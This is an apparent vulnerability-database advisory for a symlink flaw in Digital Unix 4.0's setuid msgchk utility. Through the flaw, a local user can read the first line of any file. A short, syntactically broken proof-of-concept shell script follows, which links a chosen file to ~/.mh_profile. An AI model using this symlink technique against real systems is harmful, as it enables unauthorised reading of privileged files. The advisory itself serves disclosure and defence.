Digital Unix 4.0 MSGCHK MH_PROFILE Symbolic Link Vulnerability

ID SSV:74947
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


The msgchk utility under certain versions of Digital Unix contains an information disclosure vulnerability which could yield root privilege.

Because msgchk fails to check file permissions before opening user configuration files in the user's home directory, a symbolic link to a target file can permit a local user to read the first line of data contained in any file readable by the msgchk user. Where msgchk is run setuid root, this allows limited information to be read from any file on the host. 

# truefinder,
# msgchk file read vulnerability

if [ ! -f $1 ]
	echo "usage : $0 <file path>"

cd ~
ln -sf $1 ~/.mh_profile